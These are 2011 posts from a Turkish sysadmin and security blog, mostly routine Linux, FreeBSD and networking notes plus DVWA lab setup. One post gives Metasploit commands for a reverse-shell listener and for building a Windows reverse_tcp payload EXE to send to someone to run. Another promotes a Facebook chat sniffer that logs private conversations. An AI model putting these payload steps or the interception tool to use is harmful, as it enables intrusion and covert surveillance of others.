15 Aralık 2011 Perşembe

Asus N53SN Nvidia Geforce GT 550M Ubuntu Driver Sorunu

Asus N53SN dizüstü bilgisayarıma kurulu bulunan Ubuntu 11.10 üzerinde aşağıdaki komutlarla nvidia ekran kartımı çalıştırmayı başardım. Aşağıdaki komutlar eksik yada fazla olabilir. Aşağıdaki gibi not almışım ama sıcağı sıcağına buraya yazmadığım için emin değilim. Tekrar lazım olursa işe yarayacağını ümit ediyorum :)

wget https://raw.github.com/Bumblebee-Project/Bumblebee/master/cleanup
chmod +x cleanup
sudo ./cleanup
sudo ppa-purge ppa:mj-casalogic/ironhide
sudo add-apt-repository ppa:bumblebee/stable
sudo apt-get update
sudo apt-get install bumblebee
sudo usermod -a -G bumblebee  $USERNAME

Bu aşamadan sonra optirun komutu ile uygulamaların Nvidia ekran kartı üzerinde çalışmasını sağlayabilirsiniz. Mesela Urban Terror oyununu Nvidia kart üzerinde çalıştırmak için aşağıdaki gibi bir komut vermeniz yeterli olacaktır.

harun@mordor:$ optirun ./ioUrbanTerror.i386


11 Aralık 2011 Pazar

Hagakure

"İnsan ani bir yağmurla karşılaştığında, ıslanmamaya çalışarak koşar. Fakat yağmurdan kaçınma çabasıyla, evlerin saçaklarının altından gitmeye çalıştığınızda yine de ıslanırsınız. Öte yandan kararlılık gösterip baştan bun razı olursanız, ne metanetiniz bozulur, ne de endişe duyarsınız. Bu anlayış her şeye uygulanabilir."

3 Aralık 2011 Cumartesi

Python Simple HTTP Server ile Dosya Paylaşımı

Bazen bir dizinde bulunan dosyaların ağ üzerinden bir başka bilgisayara aktarılması gerekiyor. İlgili dizini paylaşıma açmak ve daha sonra ise paylaşımı kapatmak oldukça sıkıntılı bir süreç. Zira ya dosyaları paylaşıma açık bir yere koymanız, muhtelif ağ ayarlarını yapmanız vs gerekiyor...

Bunun yerine Python Simple Http Server bileşenini kullanarak her hangi bir dizini tek komutla Web paylaşıma açabilir ve daha sonra da CTRL+C tuş kombinasyonu ile açtığınız web paylaşımını kapatabilirsiniz...

Tek yapmanız gereken bir konsol açmak ve dosyalarını paylaştırmak istediğiniz dizine girmek. Sonrasında konsola aşağıdaki komutu yazarak o dizindeki dosyaları 8080 numaralı porttan sunmaya başlayabilirsiniz.

python -m SimpleHTTPServer 8080


2 Aralık 2011 Cuma

Marmara Üniversitesi CEH Semineri

30 Kasım 2011 tarihinde Marmara Üniversitesi Bilgisayar Mühendisliği Kulübü tarafından organize edilen etkinlikte "Hacker Kültürü ve Etik Hacker" konulu bir konuşma yaptım.

Ozan Uçar ve Emre Tınaztepe çok keyifli ve son derece teknik uygulamaları gerçekleştirdiler. Ben ise daha çok gelecekte Bilgi Güvenliği alanında kariyer yapmak isteyen arkadaşlar için öneriler sunduğum teknik olmayan bir sunum yaptım...

Konuşmam sırasında kullandığım "Hacker Kültürü ve Etik Hacker" konulu sunum dosyasına buradan ulaşabilirsiniz :)

8 Kasım 2011 Salı

Buffer Overflow Üretecek Programcı Nasıl Yetiştirilir


Yukarıdaki örnek "Bilgisayar Programlama I" dersinde "dizi" kavramının anlatıldığı kısımde yer alan örneklerden birisi. Ancak deneyimli programcılar bu kodun hatalı olduğunu ve istenmeyen sonuçlar ortaya çıkartacağını fark etmişlerdir.Bu durumu fark etmeyenler için bu eğlenceli hata hakkında bir şeyler yazmak istiyorum...

19 Ekim 2011 Çarşamba

Linux Kullanıcı ve Grup İşlemleri

Linux sistemlerde yeni bir kullanıcı eklemek için useradd komutu kullanılabilir. Aşağıdaki komut hakan isminde yeni bir kullanıcı hesabı açacaktır.

root@gondor:/home# useradd -m  -G admin,cdrom  hakan

-m paramesi kullanıcı için ev dizini oluşturulmasını sağlar.
-G parametresi kullanıcının üye olduğu grupları belirtir.

Şimdi hakan kullanıcına parolasını atamak için passwd komutunu kullanalım.

root@gondor:/home# passwd hakan
Yeni parolayı girin: 
Yeni parolayı tekrar girin: 
passwd: şifre başarıyla güncellendi

Şimdi hakan kullanıcısını "disk" grubuna eklemek için aşağıdaki gibi bir komut verelim.

root@gondor:/home# usermod -a -G disk hakan

Bakalım hakan kullanıcısı hangi gruplara üyeymiş. Bunun için id komutunu "id kullanıcıadı" şeklinde kullanalım.
root@gondor:/home# id hakan
uid=1001(hakan) gid=1001(hakan) gruplar=1001(hakan),6(disk),24(cdrom),118(admin)

Yukarıdaki çıktıya göre hakan kullanıcısı hakan, disk,cdrom ve admin gruplarına üyeymiş. Şimdi hakan kullanıcısını admin grubundan çıkarmak istediğimizi düşünelim. Bu durumda hakan kullanıcısı için gruplandırma işlemini yeniden yapmamız gerekir. Bunun için aşağıdaki gibi bir komutla hakan kullanıcı hesabının dahil olduğu grupları belirleyeceğiz.

root@gondor:/home# usermod -G hakan,disk,cdrom hakan
root@gondor:/home# id hakan
uid=1001(hakan) gid=1001(hakan) gruplar=1001(hakan),6(disk),24(cdrom)

Sistemde yeni bir kullanıcı grubu oluşturmak istersek bunun için aşağıdaki gibi bir komut kullanabiliriz.

root@gondor:/home# groupadd personel

Yukarıdaki komut personel adında yeni bir grup oluştururken, bu grubu silmek istediğinizde aşağıdaki komutla personel grubunu silebilirsiniz.

root@gondor:/home# groupdel personel

13 Ekim 2011 Perşembe

Ubuntu Linux Vmware Uninstall

Olur da bir gün Ubuntu Linux üzerinde kurulu olan Vmware yazılımını kaldırmak isterseniz öncelikle bilgisayarınızda bulunan vmware yazılımlarını tespit etmeniz gerekir. Bunun için aşağıdaki komutu kullanabilirsiniz.

root@mordor:~# vmware-installer --list-products
 
Product Name           Product Version     
====================== ====================
vmware-workstation     7.1.4.385536

Listede görmüş olduğunuz vmware yazılımını kaldırmak için ise aşağıdaki gibi bir komut kullanabilirsiniz.

root@mordor:~# vmware-installer --uninstall-product vmware-workstation

Bu komuttan sonra açılan sihirbaz (wizard) ekranındaki adımları takip ederek vmware yazılımını kaldırabilirsiniz...








6 Ekim 2011 Perşembe

FreeBSD için Perl WWW::Curl Kurulumu

FreeBSD 8 üzerinde perl betikleri çalıştırmak için öncelikle perl kurulumu yapmanız gerekir. FreeBSD 8 üzerinde Perl kurulumu yapmak için aşağıdaki komutu kullanabilirsiniz.

pkg_add -rv ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8.2-release/Latest/perl.tbz


Artık perl betiklerini çalıştırabilirsiniz. Ancak perl betikleri ile curl işlemleri yapmak için, perl in WWW::Curl bileşenin kurulu olması gerekir. Eğer WWW:Curl bileşeni kurulu değilse Curl işlemi yapmak istediğinizde betiğiniz aşağıdaki gibi bir hata olacaktır...

Can't locate WWW/Curl/Easy.pm in @INC (@INC contains: /usr/local/lib/perl5/5.12.4/BSDPAN /usr/local/lib/perl5/site_perl/5.12.4/mach /usr/local/lib/perl5/site_perl/5.12.4 /usr/local/lib/perl5/5.12.4/mach /usr/local/lib/perl5/5.12.4 .) at /usr/local/openssl/misc/tsget line 10.
BEGIN failed--compilation aborted at /home/harun/curl-test.pl line 10


Bu durumda aşağıdaki gibi bir komutla p5-WWW-Curl.tbz paketini kurarak "Can't locate WWW/Curl/Easy.pm" hatasından kurtulabilirsiniz.

ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8.2-release/Latest/p5-WWW-Curl.tbz

5 Ekim 2011 Çarşamba

Linux Default TTL Değerini Değiştirmek

TTL (Time To Live) değeri ağda dolaşan paketlerin yaşam süresini belirleyen bir değerdir. Bu değer geçilen her router tarafından bir azaltılarak bir sonraki router'a yollanır. Bu sayede hedefine ulaşamayan veya routerlar arasında kısa döngüye giren paketlerin sonsuza kadar ağda dolaşmaları engellenir...

Aynı zamanda bu değer uzaktaki bir sistemin işletim sistemini kabaca tahmin etmekte kullanılabilir. Zira modern MS Windows işletim sistemleri TTL değerini 128 kullanırken, eski Windows sistemler 32 değerini kullanır. Linuxlar genellikle 64 kullanırken bazı Unix ve Linuxlar 255 değerini kullanırlar...

Ağda dolaşan paketlerin TTL değerlerine bakarak işletim sistemi hakkında fikir yürütmek mümkün olabilir ancak bu tahminin doğruluğu kesin değildir ve oldukça geniş bir işletim sistemi grubunu kapsar... Daha doğru bir tahmin yapmak için diğer TCP/IP davranışlarını test etmek ve elde edilecek bulgulara göre karar vermek gerekir. İşletim sistemi tespiti konusunu bir başka yazıya bırakıp Linux işletim sistemleri için ön tanımlı TTL değerinin nasıl değiştirileceğine bakalım..

TTL değerini değiştirmek isterseniz aşağıdaki komutla default TTL değerini değiştirebilirsiniz.

echo 128 > /proc/sys/net/ipv4/ip_default_ttl

Bu komut ilk restart işlemine kadar Ubuntu 11.04 sistemin default TTL değeri olan 64 yerine 128 kullanılmasını sağlayacaktır.


4 Ekim 2011 Salı

Ubuntu Terminal Server Client VNC ve XDMCP Desteği

Ubuntu sistemlerde gelen uzak masaüstü istemcisi olan tsclient ( Terminal Server Client) aracı XDMCP ve VNC protokollerini desteklemesine rağmen standart haliyle bu özellikler aktif değildir.

tsclient aracını kullanarak XDMCP ve VNC bağlantıları yapmak istiyorsanız bir kaç paket kurulumu yaparak bu özellikleri aktif etmeniz gerekir.

XDMCP Desteği Kurulumu
Aşağıdaki gibi bir komutla Xnest paketini kurarak tsclient aracına XDMCP protokol desteğini kazandırabilirsiniz.

apt-get install xnest


VNC Desteği Kurulumu
VNC desteği için ise aşağıdaki komutla  xtightvncviewer paketini kurmanız yeterli olacaktır.

apt-get install xtightvncviewer

Bu noktadan sonra Terminal Server Client aracında XDMCP ve VNC protokolleri aşağıda görüldüğü gibi aktif halde kullanılır hale gelecektir.


3 Ekim 2011 Pazartesi

Ubuntu 11.04 LTP - Linux Terminal Server Kurulumu

Ubuntu 11.04 Desktop üzerine Linux Terminal Server nasıl kurulur maceramın küçük notlarını yazayım. Hem ben, tekrar lazım olduğunda "Bunu nasıl yapıyorduk?" diye düşünmekten kurtulayım hemde benzer bir çalışma için arama yaparken bu yazıya ulaşan olursa kaynak oluşturmuş olayım...

Sunucu İçin Ağ Ayarları
Terminal Sunucu için öncelikle kurulum yapacak sisteme sabir bir IP adresi vermek gerekir.Bunun için  /etc/network/interfaces dosyasını uygun bir şekilde düzenlemeniz gerekir. Benim kullandığım örnek dosya aşağıdaki gibidir.
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.5.200
netmask 255.255.255.0
network 192.168.5.0
broadcast 192.168.5.255
gateway 192.168.5.254

Terminal Server  Kurulumu
Ağ ayarlarının ardından Terminal Server paketini kurmak için aşağıdaki komutu vermek yeterli olacaktır.

root@mordor:~# apt-get install ltsp-server-standalone 

Bu komut paket deposundan terminal server oluşturmak için gerekli paketleri yükleyecektir. Bu aşamadan sonra aşağıdaki komut ile ağdan boot edecek istemcilere gönderilecek olan "LTSP Client" imajını oluşturalım.

root@mordor:~# ltsp-build-client –arch i386


DHCP Ayarları 
İstemci bilgisayarların ağdan boot ederken IP alabilmeleri ve yukarıdaki komutla oluşturduğumuz imajı kullanarak açılmaları için terminal sunucumuz üzerinde dhcp ayarlarını yapmamız gerekmektedir.

En sevdiğiniz editör ile /etc/ltsp/dhcpd.conf dosyasını kendi network yapınıza uygun olarak düzenleyebilirsiniz. 192.168.5.0/24 ağı için örnek dosya aşağıdaki gibidir. 


# Default LTSP dhcpd.conf config file.
#

authoritative;

subnet 192.168.5.0 netmask 255.255.255.0 {
    range 192.168.5.201 192.168.5.250;
    option domain-name "example.com";
    option domain-name-servers 192.168.5.254;
    option broadcast-address 192.168.5.255;
    option routers 192.168.5.254;
#    next-server 192.168.5.1;
#    get-lease-hostnames true;
    option subnet-mask 255.255.255.0;
    option root-path "/opt/ltsp/i386";
    if substring( option vendor-class-identifier, 0, 9 ) = "PXEClient" {
        filename "/ltsp/i386/pxelinux.0";
    } else {
        filename "/ltsp/i386/nbi.img";
    }
}

Bu noktada sunucunuzu yeniden başlatın. Sunucunuz açıldıktan sonra istemci bilgisayarları BIOS ayarlarından Network Boot seçeneği ile açılacak şekilde ayarlayın. Bu aşamadan sonra istemcilerin DHCP ile IP alarak terminal sunucunuz üzerinden açılması gerekiyor.

  
Ağdan boot eden bilgisayarların monitörlerinde yukarıdaki login ekranını gördüğünüzde mutlu sona ulaşmışsınız demektir...

2 Ekim 2011 Pazar

Ubuntu 11.04 - 10.04 Vmware Kurulumu

Eski bloğumdaki "Ubuntu 10.04 için Vmware Kurulumu" konulu yazım hala çok sayıda ziyaretçi almaya devam ediyor gibi görünüyor. Bende Ubuntu 11.04 üzerinde Vmware kurulumu için de işe yarayan eski yazımı buraya ekleyeyim diye düşündüm. Aşağıda bahsedilen yöntem Ubuntu 10.04 ve 11.04 sürümleri arasında kalan tüm Ubuntu sürümlerinde işe yarıyor. İşte o eski yazım...

Ubuntu 10.04 üzerine Vmware'i kurmam gerektiğinde daha önceden bir çok kez çözmek zorunda kaldığım ancak tembellikten bir türlü not almadığım kurulum sorunlarıyla karşılaştım. Bu kez sıcağı sıcağına not alayım ve ihtiyaç duyulduğunda burada bulabileyim dedim...

İlk olarak yapmamız gereken şey aşağıdaki gibi bir komutla vmware'in ihtiyaç duyacağı paketleri yüklemek olsun.

apt-get install linux-headers-`uname -r` build-essential

Vmware kululumu sırasında aşağıdaki gibi bir hata alabilirsiniz.
Extracting VMware Installer...done.
File "/usr/lib/vmware-installer/1.1/python/lib/sqlite3/__init__.py", line 0
SyntaxError: ('unknown encoding: ISO-8859-1', ('/usr/lib/vmware-installer/1.1/python/lib/sqlite3/__init__.py', 0, 0, None))

Bu hata sistem yereli Türkçe olduğunda ortaya çıkıyor. Bu nedenle sistem yerelini C yereline alarak kurulum yapabiliriz.
LANG=C 

Daha sonra ise aşağıdaki gibi bir komutla vmware kurulumu başlatalım ve sihirbazı takip ederek kurulumu tamamlayalım.

./VMware-Workstation-Full-7.0.1-227600.i386.bundle 

1 Ekim 2011 Cumartesi

Ubuntu GDM ve XDMCP ile X Server Bağlantısı

Linux sistemlerde grafik ortamı oluşuturan X kendi başına bir sunucu olup yerel veya uzak bilgisayarlara hizmet verebilir. Bu nedenle aslında Linux sistemlerin doğuştan "Uzak Masaüstü" desteği vardır. Ancak bu destek günümüzde pek kullanılmadığından genellikle açık olarak gelmez bu nedenle kullanmak isterseniz sizin açmanız gerekir...

Bir Ubuntu sistemin uzaktan gelecek X bağlantılarını kabul etmesi için, Ubuntu sistemlerde standart olarak gelen GDM servisinde bir kaç küçük ayar yapmak gerekiyor...

/etc/gdm/custom.conf dosyası içerisine aşağıdaki satırları ekliyoruz. Bu dosya yoksa oluşturuyoruz.

[xdmcp]
Enable=true

[security]
DisallowTCP=false


Daha sonra ise aşağıdaki komutla gdm servisini yeniden başlatıyoruz.

sudo service gdm restart 

Bu aşamadan sonra doğrudan X sunucu, Xnest veya Windows platformu için Xming gibi araçlar kullanarak X sunucuna bağlanabilirsiniz.

23 Eylül 2011 Cuma

SVN Deposu Nasıl Taşınır

Olurda bir gün kullanmakta olduğunuz svn deposunu başka bir sunucuya vs taşımanız gerekirse bu iş için svnadmin komutunun dump parametresini kullanabilirsiniz...

Önce var olan deponusu svnadmin dump ile tek dosya halinde kayıt edin.

svnadmin dump /var/svn-repos/seker > ./seker.svndump

Yukarıdaki komut svn sunucudaki seker isimli depoyu seker.svndump adında bir dosya olarak saklayacaktır. Bu dosyayı hedef svn sunucuna taşıdıktan sonra yeni sunucumuzdaki yeni depomuzu oluşturalım.

svnadmin create --fs-type fsfs /var/svn-repos/seker


Yeni depo oluşturulduğuna göre dump dosyasındaki verilerimizi yeni depomuza aktarabiliriz.

svnadmin load /var/svn-repos/seker < ./seker.svndump

Yukarıdaki komut işini bitirdiğinde yeni svn sunucunuza taşınmış olacaksınız...



21 Eylül 2011 Çarşamba

ARP Cache Clear

Network ile uğraşırken zaman zaman ARP Cache belleğini temizlemek gerekiyor. Zira ağda bir şeyler değiştiğinde bilgisayarınızın ARP Cache'inde tutulan IP-MAC eşleşmeleri değişmiş olabiliyor. Bir süre sonra bilgisayarınız yeni IP-MAC eşleşmesini keşfediyor olsada bunun için beklemek istemiyorsanız ARP Cache belleğini temizlemek için aşağıdaki gibi bir komut kullanılabilir.

for i in `awk -F ' ' '{ if ( $1 ~ /[0-9{1,3}].[0-9{1,3}].[0-9{1,3}].[0-9{1,3}]/ ) print $1 }' /proc/net/arp` ; do arp -d $i ; done

15 Eylül 2011 Perşembe

Facebook Chat Sniffer

Bu belgede anlatılanlar 2011 yılında yazılmış olup güncelliğini kaybetmiştir ve artık çalışmamaktadır!

Önemli Not:  Yaklaşık 9 ay önce yazılmış olan bu yazı ile ilgili olarak "maksadını aşan","edepsiz" ve "lüzumsuz" yorumlar almaktan sıkıldığımdan bu konu ve yorumları kapatılmıştır... Yorumlara ve sorulara cevap verilmeyecektir...

Eski insanlar doğru söylemiş...  "Kötüye İyilik Yapan Evine Sağ Dönemezmiş"
EOF

Pek çoğumuz sosyal ağlara üyeyiz ve PC başında geçen zamanımızın önemli bir kısmını başta facebook olmak üzere sosyal ayğalarda geçiyor. Üstelik pek çok insan facebook chat özelliğini kişisel iletişim için kullanmaya başlamış durumda. Hatta pek çok anlık mesajlaşma yazılımı facebook chat protokolü üzerinden görüşme yapılmasına izin verir hale geldi...

İşte bu noktada "Olur da günün birinde facebook sohbet kayıtlarını tutmanız gerekirse ne yaparsınız?" sorusu akla geliyor...

Böyle bir ihtiyacınız olduğunda açık kaynak kodlu özgür yazılımların sunduğu nimetleri kullanarak kendi facebook sniffer yazılımınızı kendiniz geliştirirsiniz...

Böyle bir ihtiyaç söz konusu olduğunda ekip olarak küçük bir arge çalışması yaparsınız. Sonra Necmettin Begiter abimiz oturup bu arge sonucunu koda döker ve Facebook Sniffer yazılımı FaboS ortaya çıkar...

FaboS Facebook Chat Sniffer on pfSense RC3
Facebook Sniffer (FaboS) üzerinden geçen trafiği veya yönetilebilir switchlerde bulunan mirror port özelliği sayesinde kendisine iletilen trafiğ izleyerek facebook sohbet kayıtlarını tutabilir...

FaboS Facebook Sniffer, sistemdeki herhangi bir ağ arayüzünü gerçek zamanlı dinleyerek veya wireshark, tcpdump gibi snifferlar ile yakalanmış pcap dosyalarını okuyarak facebook sohbet kayıtlarını ayrıtşırabilir...

Sohbet kayıtlarını doğrudan ektrana basabileceği gibi düz metin (TXT) dosyası olarak saklayabilir, CSV formatında kayıt edebilir veya bir MySQL sunucuna bağlanarak veritabanına kayıt edebilir. MySQL veritabanına yazılan kayıtlar aşağıdaki gibi bir web arayüzü sayesinde izlenebilir ve raporlanabilir...

Fabos Facebook Chat Sniffer Web Gui

FaboS Facebook Sniffer pfSense üzerinde çalışmakta olup, açık kaynak kodlu özgür güvenlik duvarlarında, GNU/Linux, BSD veya Windows işletim sistemi üzerinde çalışabilir durumdadır...

Önemli Not:  Gerekli yasal prosedürler sağlanmaksızın kişiler arasındaki iletişim izlenmesi ve/veya kayıt altına alınması yasadışı olup bu fiilin işlenmesi suç teşkil etmektedir. 

Kullanicilar, bu aracin yasal ve yasadisi kullanimindan dogabilecek yasal yukumlulukleri, maddi, manavi ve olasi her turlu zarari pesinen kabul etmis sayilirlar ve hic bir sekilde gelistiriciler sorumlu tutulamaz.

Bu kodun kullanimindan dogabilecek her turlu zarar ve yukumluluk kullanicilara aittir.


Yasal uyarıyı okuduğunuza göre FaboS Facebook Sniffer aracına buradan ulaşabilirsiniz...

14 Eylül 2011 Çarşamba

Çok Sık Unuttuğum Metasploit Komutları

Sanıırm artık hafızam eskisi kadar kuvvetli değil. Bu nedenle pek çok şeyi hatırlamakta zorlanıyorum. Lazım olduğunda hatırlayamadığım bu nasıl kullanılıyordu diye cebelleşmek zorunda kaldığım bir kaç metasploit komutunu buraya not alayım diye düşündüm...

Dinleme Moduna Geçmek
Aşağıdaki komutla metasploit dinleme moduna geçerek gelecek bağlantıları beklemeye başlayacaktır. Çalışan payload işlevini yakalayıp kullanabilmek için gereklidir...

msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.2.124 LPORT=9999 E
 
Payload için EXE oluşturma

Payload kodu ikilik hale getirilip Windows sistemlerde çalıbilecek exe dosyasına dönüştürülür. Bir şekilde bu bu exe dosyası çalıştırıldığında Payload işlevi yürütülecektir...

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.124 LPORT=8888 X > /root/test.exe

Uzun süre önce bu yöntemi, bilgisayarıyla arası iyi olmayan romanyadaki bir müşterimizin teamvewer gibi bir aracı çalıştıramıyor olması nedeniyle kullanmış ve Reverse VNC ile bilgisayarına bağlanarak kullandığı yazılım ile ilgi destek vermiştim. Olur ya teamviewer gibi araçları kurup çalıştıramayan birileri olursa, reverse_vnc payloadu için bir exe dosyası oluşturun ve bu exe dosyasını gönderip çalıştırmalarını isteyin...

13 Eylül 2011 Salı

pfSense 2.0 Kararlı Sürüm Çıktı

pfSense 2.0 nihayet kararlı sürüme ulaştı. pfSense geliştiricilerinden Chris Buechler bu girdisinde "pfSense 2.0 release is building right now." diyor ve pfSense git deposunundan şu linki veriyor...

pfSense 2.0 kararlı sürüm için bu girdinin yazıldığı saatlerde iso imajı bulunmuyor ancak build süreci devam ediyordu...

pfSense 2.0 sürümüne kavuşmak için sabırsızlanıyorsanız https://github.com/bsdperimeter/pfsense bağlantısından pfSense 2.0 Release sürümüne ait dosyalara ulaşabilir, hatta https://github.com/bsdperimeter/pfsense-tools bağlantıdaki araçları kullanarak kendi pfSense dağıtımınızı oluşturabilirsiniz.

Ancak derleme işleminin uzun ve sancılı olacağı gerçeğini göz önüne alırsanız şu andan sonra iso imajının http://snapshots.pfsense.org/ adresine düşmesini beklemek daha cazip olacaktır gibime geliyor...

NOT: Artık http://pfsense.phoenixkv.net/downloads/ adresinden pfSense 2.0 Release indirilebilir durumdadır...

8 Eylül 2011 Perşembe

SSH Tunel

SSH protokolünün en güzel özelliklerinden birisi de tünel kazılabilmesine imkan vermesidir. Aşağıdaki gibi bir ağ şeması üzerinde bir kaç örnek ile neler yapabileceğimizi yazalım...


SSH Server ve Proxy Server isimli sunucular firewall ardında yer almakta olup, SSH Server Internet üzeründen port yönlendirmeyle erişilebilir durumdadır. Gondor isimli bilgisayar internet üzerinden SSH server isimli sunucuya SSH ile erişebiliyor. Ancak Proxy Server sunucusuna erişim firewall tarafından engellenmiş durumdadır.

Dinamik SSH Tüneli Oluşturmak
Bu senaryomuzda dinamik ssh tüneli oluşturalım ve gondor bilgisayarı ssh ile bağlandığı SSH Server bilgisayarı üzerinden web sayfalarına ulaşsın. Bunun için gondor bilgisayarı aşağıdaki gibi bir komut verebilir.

ssh -D 8888 root@11.22.33.44


6 Eylül 2011 Salı

FFMpeg FLV - MP3 Converter

Zaman zaman video ve ses dosyalarını dönüştürmem gerekiyor. Bunun için ffmpeg kullanıyor olsam da çok sık kullanmadığım için hangi parametre ne yapıyordu hatırlamıyorum. Bu yüzden de ihtiyaç duydukca Google amcaya danışıp işleri halletmeye çalışıyorum. Tabii ki bu oldukça sancılı bir süreç haline geliyor...

Bu kez de flv dosyasından mp3 oluşturmak istedim. Yine google amcaya danıştım ancak bu kez aşağıdaki komutla dönüştürme işlemi yapmak istediğimde aşağıdaki hata mesajını almaya başladım...

ffmpeg -i ornek.flv -acodec libmp3lame -ab 128k ornek.mp3
...
Unknown encoder 'libmp3lame'

ffmpeg  "Unknown encoder 'libmp3lame'" diyerek dönüştürme işlemini yapmıyordu. Çözüm olarak aşağıdaki komutla libavcodec-extra-52 paketini kurmak gerekiyor.

sudo apt-get install libavcodec-extra-52

Daha sonra ise aşağıdaki komutu vererek mutlu sona erişebiliyoruz...

ffmpeg -i ornek.flv -acodec libmp3lame -ab 128k ornek.mp3

12 Ağustos 2011 Cuma

Damn Vulnerable Web Application Kurulumu

Bilişim güvenliği ile ilgilenen, bu alanda kendini geliştirmeyi hedefleyen herkesin en büyük sorunlarından birisi pratik yapacak alan bulmanın zorluğudur. Bu noktada iki seçenek söz konusudur. Ya ayın karanlık tarafına geçip bir başkasının sistemlerini kurcalarsınız ya da Damn Vulnerable Web Application gibi bir web uygulamasını kullanırsınız...

Damn Vulnerable Web Application (Türkçe mealiyle "Kahrolası Savunmasız Web Uygulaması"),  web uygulamalarında görülen SQL Injection, File Include,XSS, CSRF, Command Execution gibi zaafiyetleri barındıran bir web uygulamasıdır...

Düşük, Orta, Yüksek olmak üzere üç farklı seviyede örnek web uygulamaları yer almaktadır. Düşük ve Orta seviyede mutelif güvenlik açıkları olup amacı bu açıkları istismar etmeniz ve temel hacking becerinizi geliştirmenizdir...

DVWA Kurulumu
DVWA yazılımını http://www.randomstorm.com/dvwa-security-tool.php adresinden indirebilirsiniz. Bu noktada Live CD veya kurulum paketi olarak iki farklı seçeneğe sahipsiniz. Eğer Live CD olarak indirirseniz içerisinde DVWA kurulu bulunan bir Live Linux sisteminiz olur. Tek sorun indirilmesi gereken dosya boyutunun oldukça büyük olmadır.

Kurulum paketini indirirsenzi çok daha küçük bir paket indirirsiniz. Ancak bu kezde bir web sunucusu kurmanız ve DVWA kurulumunu yapmanız gerekir. Web sunucu olarak Linux kullanıcıları Apache + PHP + MySQL kurulumu yapabilirler. Windows kullanıcıları ise Appserv veya XAMMP web sunucu paketlerinden birisini kurarak DVWA çalıştırabilirler.Uzun uzadıya Web Sunucu Kurulumu konusundan bahsetmiyorum ve bunu bir şekilde halledeceğinizi varsayıyorum...

Unutmadan söyleyeyim, DVWA paketinin kamuya açık bir web sunucuna veya önemli amaçlar için kullanılan gerçek sunuculara kurulmasını kesinlikle önermiyorum. İçerdiği zayıflıklar yüzünden ciddi sıkıntılara neden olabilir. Bu yüzden kesinlikle yerelde, internete açık olmayan bir web sunucu üzerine kurmanız faydalı olacaktır...

Aşağıdaki komut dizisiyle DVWA uygulamasının kurulum paketini web sunucu üzerine indirip dosyaları zip arşivinden çıkartalım. Benim sisteminde web sunucunun kök dizini /var/www olduğundan dosyaları bu atıyorum. Farklı bir web sunucusu kullanıyorsanız kendi web sunucunuzun kök dizinine dosyaları açmanız gereklidir...

root@ubuntu:~#  wget http://garr.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zip
root@ubuntu:~#  unzip DVWA-1.0.7.zip
root@ubuntu:~# cd dvwa/
root@ubuntu:~/dvwa# cp -r * /var/www/

Dosyalar açıldıktan sonra DVWA yazılımının veritabanına bağlanabilmesi için gerekli ayarları yapmamız gerekiyor. Bunun için bir metin düzenleyiciyi kullanarak config dizinindeki config.inc.php dosyası içerisine MySQL sunucu bilgilerini yazmamız gerekiyor. Ben nano kullanmayı tercih ediyorum siz en sevdiğiniz metin editörünü kullanabilirsiniz... :)

root@ubuntu:~/dvwa# nano /var/www/config/config.inc.php

config.inc.php dosyası içerisinde aşağıdaki satıları bulup düzenliyoruz.

15 $_DVWA[ 'db_server' ] = 'localhost';
16 $_DVWA[ 'db_database' ] = 'dvwa';
17 $_DVWA[ 'db_user' ] = 'root';
18 $_DVWA[ 'db_password' ] = '123456';

15. satırdaki $_DVWA[ 'db_server' ] değişkeni MySQL sunucmuzu gösteriyor. Ben localhost olarak kullanıyorum. Farklı bir MySQL sunucu kullanacaksanız buraya MySQL sunucunun IP adresini yazabilirsiniz.
16. Satırdaki $_DVWA[ 'db_database' ] değişkeni kullanılacak veritabanı adını gösterir. Genellikle değiştirmeye gerek yoktur.
17. satırda $_DVWA[ 'db_user' ] değişkeni MySQL kullanıcı adını belirtiyor. Ben root olarak kullanıyorum.
18. satırda ise $_DVWA[ 'db_password' ] değişkeni ise MySQL kullanıcı parolasını gösteriyor. Ben parola olarak 123456 kullandım. :)

config.inc.php dosyasında veritabanı bağlantı ayarlarını yaptıktan sonra, web tarayıcımızdan web sunucumuza bağlanalım ve DVWA uygulamasını çalıştıralım. Benim kurulum yaptığım sanal sunucumun iIP adresi 192.168.5.233 olduğundan URL satırına aşağıdaki adresi yazıyorum. Siz de kendi sunucunuzun IP adresini kullanmalısınız.

Sayfa açıldığında DVWA logosu ve "Unable to connect to the database. mysql_error() Click here to setup the database." mesajı ile karşılaşmanız gerekiyor. Buradaki Click here to setup the database bağlantısını takip edelim ve açılan ekranda "Create / Reset Database" butonuna tıklayarak  DVWA yazılımının ihtiyaç duyduğu veritabanını oluşturmasını sağlayalım. Herşey yolunda gitmişse aşağıdaki mesajları görmeniz gerekecek...



Tüm bu mesajları görmüşseniz DVWA kullanıma hazır demektir. Bu aşamadan sonra, admin kullanıcı adı ve password parolasıyla DVWA uygulamasına bağlanabilirsiniz.

Login olduğunuzda sol menüde görülen güvenlik açıklarından birisini seçerek hacking denemelerinize başlayabilirsiniz...

10 Ağustos 2011 Çarşamba

chflags ile Dosyaları Silinemez Yapmak

FreeBSD sistemlerde bir dosyayı silinemez yapmak için aşağıdaki komut kullanılarak dosya, sistem değişmezi olarak atanabilir.

chflags schg dosyaadi

Bu komut root yetkileriyle verildikten sonra, sistem değişmezi bayrağı kaldırılmadığı sürece bu dosya üzerinde değişiklik yapmak veya dosyayı silmek mümkün olmaz...

Aynı dosyadan sistem değişmezi bayrağını kaldırmak ve tekrardan silinebilir hale getirmek için ise aşağıdaki komut verilebilir.

chflags noschg dosyaadi

Önce touch ile bir dosya oluşturalım, ardından chflags ile sistem değişmezi olarak ayarlayalım ve silmeyi deneyelim. Daha sonra ise chflags ile normal dosya olarak ayarlayalım ve dosyayı silelim...

[2.0-RC3][root@pfSense.localdomain]/root(25): touch harun.txt
[2.0-RC3][root@pfSense.localdomain]/root(26): ls -alh harun.txt 
-rw-r--r--  1 root  wheel     0B Aug 10 09:50 harun.txt
[2.0-RC3][root@pfSense.localdomain]/root(27): chf
chflags chfn    
[2.0-RC3][root@pfSense.localdomain]/root(27): chflags schg harun.txt 
[2.0-RC3][root@pfSense.localdomain]/root(28): ls -alh harun.txt 
